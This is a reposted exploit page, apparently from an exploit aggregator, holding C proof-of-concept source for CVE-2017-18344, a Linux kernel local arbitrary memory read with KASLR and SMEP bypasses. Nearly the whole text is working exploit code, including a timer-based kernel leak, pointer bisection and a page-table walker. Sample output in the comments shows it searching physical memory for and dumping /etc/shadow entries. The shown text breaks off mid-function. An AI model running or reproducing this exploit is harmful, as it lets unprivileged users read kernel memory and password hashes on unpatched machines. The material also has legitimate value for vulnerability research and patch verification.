Advertisement






Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) (KASLR & SMEP Bypass) Arbitrary File Read

CVE Category Price Severity
CVE-2017-18344 CWE-XXX Not specified High
Author Risk Exploitation Type Date
Not specified High Local 2018-08-10
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018080074

Below is a copy:

Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) (KASLR & SMEP Bypass) Arbitrary File Read
// A proof-of-concept exploit for CVE-2017-18344.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// No support for 1 GB pages or 5 level page tables.
// Tested on Ubuntu xenial 4.4.0-116-generic and 4.13.0-38-generic
// and on CentOS 7 3.10.0-862.9.1.el7.x86_64.
//
// gcc pwn.c -o pwn
//
// $ ./pwn search 'root:!:'
// [.] setting up proc reader
// [~] done
// [.] checking /proc/cpuinfo
// [~] looks good
// [.] setting up timer
// [~] done
// [.] finding leak pointer address
// [+] done: 000000022ca45b60
// [.] mapping leak pointer page
// [~] done
// [.] divide_error:     ffffffffad6017b0
// [.] kernel text:      ffffffffacc00000
// [.] page_offset_base: ffffffffade48a90
// [.] physmap:          ffff8d40c0000000
// [.] task->mm->pgd:    ffffffffade0a000
// [.] searching [0000000000000000, 00000000f524d000) for 'root:!:':
// [.] now at 0000000000000000
// [.] now at 0000000002000000
// [.] now at 0000000004000000
// ...
// [.] now at 000000008c000000
// [.] now at 000000008e000000
// [.] now at 0000000090000000
// [+] found at 0000000090ff3000
// [+] done
//
// $ ./pwn phys 0000000090ff3000 1000 shadow
// [.] setting up proc reader
// [~] done
// [.] checking /proc/cpuinfo
// [~] looks good
// [.] setting up timer
// [~] done
// [.] finding leak pointer address
// [+] done: 000000022ca45b60
// [.] mapping leak pointer page
// [~] done
// [.] divide_error:     ffffffffad6017b0
// [.] kernel text:      ffffffffacc00000
// [.] page_offset_base: ffffffffade48a90
// [.] physmap:          ffff8d40c0000000
// [.] task->mm->pgd:    ffffffffade0a000
// [.] dumping physical memory [0000000090ff3000, 0000000090ff4000):
// [+] done
//
// $ cat shadow 
// root:!:17612:0:99999:7:::
// daemon:*:17590:0:99999:7:::
// bin:*:17590:0:99999:7:::
// ...
// saned:*:17590:0:99999:7:::
// usbmux:*:17590:0:99999:7:::
// user:$1$7lXXXXSv$rvXXXXXXXXXXXXXXXXXhr/:17612:0:99999:7:::
//
// Andrey Konovalov <[email protected]>

#define _GNU_SOURCE

#include <assert.h>
#include <ctype.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/sysinfo.h>
#include <sys/syscall.h>
#include <sys/types.h>

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define DEBUG 0

// CentOS 7 3.10.0-862.9.1.el7.x86_64
#define KERNEL_START0xffffffff81000000ul
#define O_DIVIDE_ERROR(0xffffffff81723a40ul - KERNEL_START)
#define O_INIT_TASK(0xffffffff81c16480ul - KERNEL_START)
#define O_INIT_MM(0xffffffff81c914a0ul - KERNEL_START)
#define O_PAGE_OFFSET_BASE(0xffffffff81c41440ul - KERNEL_START)
#define O_TASK_STRUCT_TASKS1072
#define O_TASK_STRUCT_MM1128
#define O_TASK_STRUCT_PID1188
#define O_MM_STRUCT_MMAP0
#define O_MM_STRUCT_PGD88
#define O_VM_AREA_STRUCT_VM_START0
#define O_VM_AREA_STRUCT_VM_END8
#define O_VM_AREA_STRUCT_VM_NEXT16
#define O_VM_AREA_STRUCT_VM_FLAGS80

#if 0
// Ubuntu xenial 4.4.0-116-generic
#define KERNEL_START0xffffffff81000000ul
#define O_DIVIDE_ERROR(0xffffffff81851240ul - KERNEL_START)
#define O_INIT_TASK(0xffffffff81e13500ul - KERNEL_START)
#define O_INIT_MM(0xffffffff81e73c80ul - KERNEL_START)
#define O_PAGE_OFFSET_BASE0
#define O_TASK_STRUCT_TASKS848
#define O_TASK_STRUCT_MM928
#define O_TASK_STRUCT_PID1096
#define O_MM_STRUCT_MMAP0
#define O_MM_STRUCT_PGD64
#define O_VM_AREA_STRUCT_VM_START0
#define O_VM_AREA_STRUCT_VM_END8
#define O_VM_AREA_STRUCT_VM_NEXT16
#define O_VM_AREA_STRUCT_VM_FLAGS80
#endif

#if 0
// Ubuntu xenial 4.13.0-38-generic
#define KERNEL_START0xffffffff81000000ul
#define O_DIVIDE_ERROR(0xffffffff81a017b0ul - KERNEL_START)
#define O_INIT_TASK(0xffffffff82212480ul - KERNEL_START)
#define O_INIT_MM(0xffffffff82302760ul - KERNEL_START)
#define O_PAGE_OFFSET_BASE(0xffffffff82248a90ul - KERNEL_START)
#define O_TASK_STRUCT_TASKS2048
#define O_TASK_STRUCT_MM2128
#define O_TASK_STRUCT_PID2304
#define O_MM_STRUCT_MMAP0
#define O_MM_STRUCT_PGD80
#define O_VM_AREA_STRUCT_VM_START0
#define O_VM_AREA_STRUCT_VM_END8
#define O_VM_AREA_STRUCT_VM_NEXT16
#define O_VM_AREA_STRUCT_VM_FLAGS80
#endif

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#ifndef SYS_memfd_create
#define SYS_memfd_create319
#endif

#ifndef O_PATH
#define O_PATH010000000
#endif

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define PAGE_SHIFT12
#define PAGE_SIZE(1ul << PAGE_SHIFT)
#define PAGE_MASK(~(PAGE_SIZE - 1))

#define HUGE_PAGE_SHIFT21
#define HUGE_PAGE_SIZE(1ul << HUGE_PAGE_SHIFT)
#define HUGE_PAGE_MASK(~(HUGE_PAGE_SIZE - 1))

#define TASK_SIZE(1ul << 47)
#definePAGE_OFFSET_BASE0xffff880000000000ul

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define LOG_INFO1
#define LOG_DEBUG2

#define log(level, format, args...)\
do {\
if (level == LOG_INFO)\
printf(format, ## args);\
else\
fprintf(stderr, format, ## args);\
} while(0)

#define info(format, args...) log(LOG_INFO, format, ## args)

#if (DEBUG >= 1)
#define debug1(format, args...) log(LOG_DEBUG, format, ## args)
#else
#define debug1(format, args...)
#endif

#if (DEBUG >= 2)
#define debug2(format, args...) log(LOG_DEBUG, format, ## args)
#else
#define debug2(format, args...)
#endif

#define min(x, y) ((x) < (y) ? (x) : (y))

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

static void print_chunk(int level, unsigned long src_addr, char *buffer,
int len, int chunk_size) {
int i;

assert(len <= chunk_size);

log(level, "%016lx: ", src_addr);
for (i = 0; i < len; i++)
log(level, "%02hx ", (unsigned char)buffer[i]);
for (i = len; i < chunk_size; i++)
log(level, "   ");

log(level, "  ");

for (i = 0; i < len; i++) {
if (isalnum(buffer[i]))
log(level, "%c", buffer[i]);
else
log(level, ".");
}

log(level, "\n");
}

static void print_bytes(int level, unsigned long src_addr, char *buffer,
int len) {
int chunk_size = 16;
assert(chunk_size % 2 == 0);

int chunk;
for (chunk = 0; chunk < len / chunk_size; chunk++)
print_chunk(level, src_addr + chunk * chunk_size,
&buffer[chunk * chunk_size], chunk_size, chunk_size);

int rem = len % chunk_size;
if (rem != 0)
print_chunk(level, src_addr + len - rem,
&buffer[len - rem], rem, chunk_size);
}


// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define MIN_KERNEL_BASE 0xffffffff81000000ul
#define MAX_KERNEL_BASE 0xffffffffff000000ul
#define MAX_KERNEL_IMAGE 0x8000000ul // 128 MB

#define MMAP_ADDR_SPAN (MAX_KERNEL_BASE - MIN_KERNEL_BASE + MAX_KERNEL_IMAGE)
#define MMAP_ADDR_START 0x200000000ul
#define MMAP_ADDR_END (MMAP_ADDR_START + MMAP_ADDR_SPAN)

#define OPTIMAL_PTR_OFFSET ((MMAP_ADDR_START - MIN_KERNEL_BASE) / 8)
// == 0x4fe00000

#define MAX_MAPPINGS 1024
#define MEMFD_SIZE (MMAP_ADDR_SPAN / MAX_MAPPINGS)

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

static struct proc_reader g_proc_reader;
static unsigned long g_leak_ptr_addr = 0;

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define PROC_INITIAL_SIZE 1024
#define PROC_CHUNK_SIZE 1024

struct proc_reader {
char *buffer;
int buffer_size;
int read_size;
};

static void proc_init(struct proc_reader* pr) {
debug2("proc_init: %016lx\n", pr);

pr->buffer = malloc(PROC_INITIAL_SIZE);
if (pr->buffer == NULL) {
perror("[-] proc_init: malloc()");
exit(EXIT_FAILURE);
}
pr->buffer_size = PROC_INITIAL_SIZE;
pr->read_size = 0;

debug2("proc_init = void\n");
}

static void proc_ensure_size(struct proc_reader* pr, int size) {
if (pr->buffer_size >= size)
return;
while (pr->buffer_size < size)
pr->buffer_size <<= 1;
pr->buffer = realloc(pr->buffer, pr->buffer_size);
if (pr->buffer == NULL) {
perror("[-] proc_ensure_size: realloc()");
exit(EXIT_FAILURE);
}
}

static int proc_read(struct proc_reader* pr, const char *file) {
debug2("proc_read: file: %s, pr->buffer_size: %d\n",
file, pr->buffer_size);

int fd = open(file, O_RDONLY);
if (fd == -1) {
perror("[-] proc_read: open()");
exit(EXIT_FAILURE);
}

pr->read_size = 0;
while (true) {
proc_ensure_size(pr, pr->read_size + PROC_CHUNK_SIZE);
int bytes_read = read(fd, &pr->buffer[pr->read_size],
PROC_CHUNK_SIZE);
if (bytes_read == -1) {
perror("[-] read(proc)");
exit(EXIT_FAILURE);
}
pr->read_size += bytes_read;
if (bytes_read < PROC_CHUNK_SIZE)
break;
}

close(fd);

debug2("proc_read = %d\n", pr->read_size);
return pr->read_size;
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

typedef union k_sigval {
int sival_int;
void *sival_ptr;
} k_sigval_t;

#define __ARCH_SIGEV_PREAMBLE_SIZE(sizeof(int) * 2 + sizeof(k_sigval_t))
#define SIGEV_MAX_SIZE64
#define SIGEV_PAD_SIZE((SIGEV_MAX_SIZE - __ARCH_SIGEV_PREAMBLE_SIZE) \
/ sizeof(int))

typedef struct k_sigevent {
k_sigval_t sigev_value;
int sigev_signo;
int sigev_notify;
union {
int _pad[SIGEV_PAD_SIZE];
int _tid;

struct {
void (*_function)(sigval_t);
void *_attribute;
} _sigev_thread;
} _sigev_un;
} k_sigevent_t;

static void leak_setup() {
k_sigevent_t se;
memset(&se, 0, sizeof(se));
se.sigev_signo = SIGRTMIN;
se.sigev_notify = OPTIMAL_PTR_OFFSET;
timer_t timerid = 0;

int rv = syscall(SYS_timer_create, CLOCK_REALTIME,
(void *)&se, &timerid);
if (rv != 0) {
perror("[-] timer_create()");
exit(EXIT_FAILURE);
}
}

static void leak_parse(char *in, int in_len, char **start, char **end) {
const char *needle = "notify: ";
*start = memmem(in, in_len, needle, strlen(needle));
assert(*start != NULL);
*start += strlen(needle);

assert(in_len > 0);
assert(in[in_len - 1] == '\n');
*end = &in[in_len - 2];
while (*end > in && **end != '\n')
(*end)--;
assert(*end > in);
while (*end > in && **end != '/')
(*end)--;
assert(*end > in);
assert((*end)[1] = 'p' && (*end)[2] == 'i' && (*end)[3] == 'd');

assert(*end >= *start);
}

static void leak_once(char **start, char **end) {
int read_size = proc_read(&g_proc_reader, "/proc/self/timers");
leak_parse(g_proc_reader.buffer, read_size, start, end);
}

static int leak_once_and_copy(char *out, int out_len) {
assert(out_len > 0);

char *start, *end;
leak_once(&start, &end);

int size = min(end - start, out_len);
memcpy(out, start, size);

if (size == out_len)
return size;

out[size] = 0;
return size + 1;
}

static void leak_range(unsigned long addr, size_t length, char *out) {
size_t total_leaked = 0;
while (total_leaked < length) {
unsigned long addr_to_leak = addr + total_leaked;
*(unsigned long *)g_leak_ptr_addr = addr_to_leak;
debug2("leak_range: offset %ld, addr: %lx\n",
total_leaked, addr_to_leak);
int leaked = leak_once_and_copy(out + total_leaked,
length - total_leaked);
total_leaked += leaked;
}
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

static void mmap_fixed(unsigned long addr, size_t size) {
void *rv = mmap((void *)addr, size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (rv != (void *)addr) {
perror("[-] mmap()");
exit(EXIT_FAILURE);
}
}

static void mmap_fd_over(int fd, unsigned long fd_size, unsigned long start,
unsigned long end) {
int page_size = PAGE_SIZE;
assert(fd_size % page_size == 0);
assert(start % page_size == 0);
assert(end % page_size == 0);
assert((end - start) % fd_size == 0);

debug1("mmap_fd_over: [%lx, %lx)\n", start, end);

unsigned long addr;
for (addr = start; addr < end; addr += fd_size) {
void *rv = mmap((void *)addr, fd_size, PROT_READ,
MAP_FIXED | MAP_PRIVATE, fd, 0);
if (rv != (void *)addr) {
perror("[-] mmap()");
exit(EXIT_FAILURE);
}
}

debug1("mmap_fd_over = void\n");
}

static void remap_fd_over(int fd, unsigned long fd_size, unsigned long start,
unsigned long end) {
int rv = munmap((void *)start, end - start);
if (rv != 0) {
perror("[-] munmap()");
exit(EXIT_FAILURE);
}
mmap_fd_over(fd, fd_size, start, end);
}

#define MEMFD_CHUNK_SIZE 0x1000

static int create_filled_memfd(const char *name, unsigned long size,
unsigned long value) {
int i;
char buffer[MEMFD_CHUNK_SIZE];

assert(size % MEMFD_CHUNK_SIZE == 0);

int fd = syscall(SYS_memfd_create, name, 0);
if (fd < 0) {
perror("[-] memfd_create()");
exit(EXIT_FAILURE);
}

for (i = 0; i < sizeof(buffer) / sizeof(value); i++)
*(unsigned long *)&buffer[i * sizeof(value)] = value;

for (i = 0; i < size / sizeof(buffer); i++) {
int bytes_written = write(fd, &buffer[0], sizeof(buffer));
if (bytes_written != sizeof(buffer)) {
perror("[-] write(memfd)");
exit(EXIT_FAILURE);
}
}

return fd;
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

static const char *evil = "evil";
static const char *good = "good";

static bool bisect_probe() {
char *start, *end;
leak_once(&start, &end);
return *start == 'g';
}

static unsigned long bisect_via_memfd(unsigned long fd_size,
unsigned long start, unsigned long end) {
assert((end - start) % fd_size == 0);

int fd_evil = create_filled_memfd("evil", fd_size, (unsigned long)evil);
int fd_good = create_filled_memfd("good", fd_size, (unsigned long)good);

unsigned long left = 0;
unsigned long right = (end - start) / fd_size;

while (right - left > 1) {
unsigned long middle = left + (right - left) / 2;
remap_fd_over(fd_evil, fd_size, start + left * fd_size,
start + middle * fd_size);
remap_fd_over(fd_good, fd_size, start + middle * fd_size,
start + right * fd_size);
bool probe = bisect_probe();
if (probe)
left = middle;
else
right = middle;
}

int rv = munmap((void *)start, end - start);
if (rv != 0) {
perror("[-] munmap()");
exit(EXIT_FAILURE);
}

close(fd_evil);
close(fd_good);

return start + left * fd_size;
}

static unsigned long bisect_via_assign(unsigned long start, unsigned long end) {
int word_size = sizeof(unsigned long);

assert((end - start) % word_size == 0);
assert((end - start) % PAGE_SIZE == 0);

mmap_fixed(start, end - start);

unsigned long left = 0;
unsigned long right = (end - start) / word_size;

while (right - left > 1) {
unsigned long middle = left + (right - left) / 2;
unsigned long a;
for (a = left; a < middle; a++)
*(unsigned long *)(start + a * word_size) =
(unsigned long)evil;
for (a = middle; a < right; a++)
*(unsigned long *)(start + a * word_size) =
(unsigned long)good;
bool probe = bisect_probe();
if (probe)
left = middle;
else
right = middle;
}

int rv = munmap((void *)start, end - start);
if (rv != 0) {
perror("[-] munmap()");
exit(EXIT_FAILURE);
}

return start + left * word_size;
}

static unsigned long bisect_leak_ptr_addr() {
unsigned long addr = bisect_via_memfd(
MEMFD_SIZE, MMAP_ADDR_START, MMAP_ADDR_END);
debug1("%lx %lx\n", addr, addr + MEMFD_SIZE);
addr = bisect_via_memfd(PAGE_SIZE, addr, addr + MEMFD_SIZE);
debug1("%lx %lx\n", addr, addr + PAGE_SIZE);
addr = bisect_via_assign(addr, addr + PAGE_SIZE);
debug1("%lx\n", addr);
return addr;
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define CPUINFO_SMEP1
#define CPUINFO_SMAP2
#define CPUINFO_KAISER4
#define CPUINFO_PTI8

static int cpuinfo_scan() {
int length = proc_read(&g_proc_reader, "/proc/cpuinfo");
char *buffer = &g_proc_reader.buffer[0];
int rv = 0;
char* found = memmem(buffer, length, "smep", 4);
if (found != NULL)
rv |= CPUINFO_SMEP;
found = memmem(buffer, length, "smap", 4);
if (found != NULL)
rv |= CPUINFO_SMAP;
found = memmem(buffer, length, "kaiser", 4);
if (found != NULL)
rv |= CPUINFO_KAISER;
found = memmem(buffer, length, " pti", 4);
if (found != NULL)
rv |= CPUINFO_PTI;
return rv;
}

static void cpuinfo_check() {
int rv = cpuinfo_scan();
if (rv & CPUINFO_SMAP) {
info("[-] SMAP detected, no bypass available, aborting\n");
exit(EXIT_FAILURE);
}
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

static void arbitrary_read_init() {
info("[.] setting up proc reader\n");
proc_init(&g_proc_reader);
info("[~] done\n");

info("[.] checking /proc/cpuinfo\n");
cpuinfo_check();
info("[~] looks good\n");

info("[.] setting up timer\n");
leak_setup();
info("[~] done\n");

info("[.] finding leak pointer address\n");
g_leak_ptr_addr = bisect_leak_ptr_addr();
info("[+] done: %016lx\n", g_leak_ptr_addr);

info("[.] mapping leak pointer page\n");
mmap_fixed(g_leak_ptr_addr & ~(PAGE_SIZE - 1), PAGE_SIZE);
info("[~] done\n");
}

static void read_range(unsigned long addr, size_t length, char *buffer) {
leak_range(addr, length, buffer);
}

static uint64_t read_8(unsigned long addr) {
uint64_t result;
read_range(addr, sizeof(result), (char *)&result);
return result;
}

static uint32_t read_4(unsigned long addr) {
uint32_t result;
read_range(addr, sizeof(result), (char *)&result);
return result;
}

static uint64_t read_field_8(unsigned long addr, int offset) {
return read_8(addr + offset);
}

static uint64_t read_field_4(unsigned long addr, int offset) {
return read_4(addr + offset);
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

struct idt_register {
uint16_t length;
uint64_t base;
} __attribute__((packed));

struct idt_gate {
uint16_t offset_1; // bits 0..15
uint32_t shit_1;
uint16_t offset_2; // bits 16..31
uint32_t offset_3; // bits 32..63
uint32_t shit_2;
} __attribute__((packed));

static uint64_t idt_gate_addr(struct idt_gate *gate) {
uint64_t addr = gate->offset_1 + ((uint64_t)gate->offset_2 << 16) +
((uint64_t)gate->offset_3 << 32);
return addr;
}

static void get_idt(struct idt_register *idtr) {
asm ( "sidt %0" : : "m"(*idtr) );
debug1("get_idt_base: base: %016lx, length: %d\n",
idtr->base, idtr->length);
}

static void print_idt(int entries) {
char buffer[4096];
struct idt_register idtr;
int i;

get_idt(&idtr);
assert(idtr.length <= sizeof(buffer));
read_range(idtr.base, idtr.length, &buffer[0]);

info("base: %016lx, length: %d\n", idtr.base,
(int)idtr.length);

entries = min(entries, idtr.length / sizeof(struct idt_gate));
for (i = 0; i < entries; i++) {
struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i;
uint64_t addr = idt_gate_addr(gate);
info("gate #%03d: %016lx\n", i, addr);
}
}

static uint64_t read_idt_gate(int i) {
char buffer[4096];
struct idt_register idtr;

get_idt(&idtr);
assert(idtr.length <= sizeof(buffer));
assert(i <= idtr.length / sizeof(struct idt_gate));
read_range(idtr.base, idtr.length, &buffer[0]);

struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i;
uint64_t addr = idt_gate_addr(gate);
return addr;
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define PTRS_PER_PGD512
#define PTRS_PER_PUD512
#define PTRS_PER_PMD512
#define PTRS_PER_PTE512

#define PGD_SHIFT39
#define PUD_SHIFT30
#define PMD_SHIFT21

#define pgd_index(addr)(((addr) >> PGD_SHIFT) & (PTRS_PER_PGD - 1))
#define pud_index(addr)(((addr) >> PUD_SHIFT) & (PTRS_PER_PUD - 1))
#define pmd_index(addr)(((addr) >> PMD_SHIFT) & (PTRS_PER_PMD - 1))
#define pte_index(addr)(((addr) >> PAGE_SHIFT) & (PTRS_PER_PTE - 1))

#define _PAGE_BIT_PRESENT0
#define _PAGE_BIT_ACCESSED5
#define _PAGE_BIT_DIRTY6
#define _PAGE_BIT_PSE7
#define _PAGE_BIT_GLOBAL8
#define _PAGE_BIT_PROTNONE_PAGE_BIT_GLOBAL

#define _PAGE_PRESENT(1ul << _PAGE_BIT_PRESENT)
#define _PAGE_ACCESSED(1ul << _PAGE_BIT_ACCESSED)
#define _PAGE_DIRTY(1ul << _PAGE_BIT_DIRTY)
#define _PAGE_PSE(1ul << _PAGE_BIT_PSE)
#define _PAGE_PROTNONE(1ul << _PAGE_BIT_PROTNONE)
#define _PAGE_KNL_ERRATUM_MASK(_PAGE_DIRTY | _PAGE_ACCESSED)

#define pgd_none(value)((value) == 0)
#define pud_none(value)(((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0)
#define pmd_none(value)(((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0)
#define pte_none(value)(((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0)

#define __PHYSICAL_MASK_SHIFT52
#define __PHYSICAL_MASK((1ul << __PHYSICAL_MASK_SHIFT) - 1)
#define PHYSICAL_PAGE_MASK(PAGE_MASK & __PHYSICAL_MASK)
#define PTE_PFN_MASK(PHYSICAL_PAGE_MASK)
#define PTE_FLAGS_MASK(~PTE_PFN_MASK)

#define pgd_flags(value)(value & PTE_FLAGS_MASK)
#define pud_flags(value)(value & PTE_FLAGS_MASK)
#define pmd_flags(value)(value & PTE_FLAGS_MASK)
#define pte_flags(value)(value & PTE_FLAGS_MASK)

#define pgd_present(value)(pgd_flags(value) & _PAGE_PRESENT)
#define pud_present(value)(pud_flags(value) & _PAGE_PRESENT)
#define pmd_present(value)(pmd_flags(value) & (_PAGE_PRESENT | \
_PAGE_PROTNONE | _PAGE_PSE))
#define pte_present(value)(pte_flags(value) & (_PAGE_PRESENT | \
_PAGE_PROTNONE))

struct pte_entry {
unsigned longaddr;
unsigned longentries[PTRS_PER_PTE];
};

struct pmd_entry {
unsigned longaddr;
struct {
boolhuge;
union {
struct pte_entry*pte;
unsigned longphys;
};
}entries[PTRS_PER_PMD];
};

struct pud_entry {
unsigned longaddr;
struct pmd_entry*entries[PTRS_PER_PUD];
};

struct pgd_entry {
unsigned longaddr;
struct pud_entry*entries[PTRS_PER_PGD];
};

struct ptsc {
unsigned longphysmap;
struct pgd_entryentry;
};

static struct pte_entry *ptsc_alloc_pte_entry(unsigned long addr) {
struct pte_entry *entry = malloc(sizeof(*entry));
if (!entry) {
perror("[-] malloc()");
exit(EXIT_FAILURE);
}
entry->addr = addr;
memset(&entry->entries[0], 0, sizeof(entry->entries));
return entry;
}

static struct pmd_entry *ptsc_alloc_pmd_entry(unsigned long addr) {
struct pmd_entry *entry = malloc(sizeof(*entry));
if (!entry) {
perror("[-] malloc()");
exit(EXIT_FAILURE);
}
entry->addr = addr;
memset(&entry->entries[0], 0, sizeof(entry->entries));
return entry;
}

static struct pud_entry *ptsc_alloc_pud_entry(unsigned long addr) {
struct pud_entry *entry = malloc(sizeof(*entry));
if (!entry) {
perror("[-] malloc()");
exit(EXIT_FAILURE);
}
entry->addr = addr;
memset(&entry->entries[0], 0, sizeof(entry->entries));
return entry;
}

static void ptsc_init(struct ptsc* ptsc, unsigned long physmap,
unsigned long pgd) {
ptsc->physmap = physmap;
ptsc->entry.addr = pgd;
memset(&ptsc->entry.entries[0], 0, sizeof(ptsc->entry.entries));
}

static unsigned long ptsc_page_virt_to_phys(struct ptsc* ptsc,
unsigned long addr) {
struct pgd_entry *pgd_e;
struct pud_entry *pud_e;
struct pmd_entry *pmd_e;
struct pte_entry *pte_e;
unsigned long phys_a;
int index;

debug1("looking up phys addr for %016lx:\n", addr);

pgd_e = &ptsc->entry;

index = pgd_index(addr);
debug1(" pgd: %016lx, index: %d\n", pgd_e->addr, index);
if (!pgd_e->entries[index]) {
unsigned long pgd_v = read_8(
pgd_e->addr + index * sizeof(unsigned long));
debug1("   -> %016lx\n", pgd_v);
if (pgd_none(pgd_v)) {
debug1(" not found, pgd is none\n");
return 0;
}
if (!pgd_present(pgd_v)) {
debug1(" not found, pgd is not present\n");
return 0;
}
unsigned long pud_a =
ptsc->physmap + (pgd_v & PHYSICAL_PAGE_MASK);
pud_e = ptsc_alloc_pud_entry(pud_a);
pgd_e->entries[index] = pud_e;
}
pud_e = pgd_e->entries[index];

index = pud_index(addr);
debug1(" pud: %016lx, index: %d\n", pud_e->addr, index);
if (!pud_e->entries[index]) {
unsigned long pud_v = read_8(
pud_e->addr + index * sizeof(unsigned long));
debug1("   -> %016lx\n", pud_v);
if (pud_none(pud_v)) {
debug1(" not found, pud is none\n");
return 0;
}
if (!pud_present(pud_v)) {
debug1(" not found, pud is not present\n");
return 0;
}
unsigned long pmd_a =
ptsc->physmap + (pud_v & PHYSICAL_PAGE_MASK);
pmd_e = ptsc_alloc_pmd_entry(pmd_a);
pud_e->entries[index] = pmd_e;
}
pmd_e = pud_e->entries[index];

index = pmd_index(addr);
debug1(" pmd: %016lx, index: %d\n", pmd_e->addr, index);
if (!pmd_e->entries[index].pte) {
unsigned long pmd_v = read_8(
pmd_e->addr + index * sizeof(unsigned long));
debug1("   -> %016lx\n", pmd_v);
if (pmd_none(pmd_v)) {
debug1(" not found, pmd is none\n");
return 0;
}
if (!pmd_present(pmd_v)) {
debug1(" not found, pmd is not present\n");
return 0;
}
if (pmd_flags(pmd_v) & _PAGE_PSE) {
phys_a = ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK) +
(addr & ~HUGE_PAGE_MASK);
pmd_e->entries[index].phys = phys_a;
pmd_e->entries[index].huge = true;
} else {
unsigned long pte_a =
ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK);
pte_e = ptsc_alloc_pte_entry(pte_a);
pmd_e->entries[index].pte = pte_e;
pmd_e->entries[index].huge = false;
}
}

if (pmd_e->entries[index].huge) {
debug1(" phy: %016lx (huge)\n", phys_a);
return pmd_e->entries[index].phys;
}

pte_e = pmd_e->entries[index].pte;

index = pte_index(addr);
debug1(" pte: %016lx, index: %d\n", pte_e->addr, index);
if (!pte_e->entries[index]) {
unsigned long pte_v = read_8(
pte_e->addr + index * sizeof(unsigned long));
debug1("   -> %016lx\n", pte_v);
if (pte_none(pte_v)) {
debug1(" not found, pte is none\n");
return 0;
}
if (!pte_present(pte_v)) {
debug1(" not found, pte is not present\n");
return 0;
}
phys_a = ptsc->physmap + (pte_v & PHYSICAL_PAGE_MASK) +
(addr & ~PAGE_MASK);
pte_e->entries[index] = phys_a;
}
phys_a = pte_e->entries[index];

return phys_a;
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

static unsigned long find_task_by_pid(unsigned long init_task, unsigned pid) {
unsigned long cur_task = init_task;

while (true) {
unsigned cur_pid =
read_field_4(cur_task, O_TASK_STRUCT_PID);
if (cur_pid == pid)
return cur_task;
unsigned long task_next_ptr =
read_field_8(cur_task, O_TASK_STRUCT_TASKS);
cur_task = task_next_ptr - O_TASK_STRUCT_TASKS;
if (cur_task == init_task)
return 0;
}
}

#define MAX_MMAPS_PER_TASK 512

struct mmap_entry {
unsigned long start;
unsigned long end;
unsigned flags;
};

typedef void (*mmap_callback)(struct mmap_entry *entry, void *private);

static void for_each_mmap_from(unsigned long mmap, mmap_callback callback,
void *private) {
struct mmap_entry entries[MAX_MMAPS_PER_TASK];
int i, count;

count = 0;
while (mmap != 0) {
assert(count < MAX_MMAPS_PER_TASK);
unsigned long vm_start =
read_field_8(mmap, O_VM_AREA_STRUCT_VM_START);
unsigned long vm_end =
read_field_8(mmap, O_VM_AREA_STRUCT_VM_END);
if (vm_start >= TASK_SIZE || vm_end >= TASK_SIZE) {
info("[-] bad mmap (did the task die?)\n");
exit(EXIT_FAILURE);
}
unsigned vm_flags =
read_field_4(mmap, O_VM_AREA_STRUCT_VM_FLAGS);
entries[count].start = vm_start;
entries[count].end = vm_end;
entries[count].flags = vm_flags;
count++;
mmap = read_field_8(mmap, O_VM_AREA_STRUCT_VM_NEXT);
}

for (i = 0; i < count; i++)
callback(&entries[i], private);
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

static unsigned long g_kernel_text = 0;
static unsigned long g_physmap = 0;

static struct ptsc g_ptsc;

static void physmap_init() {
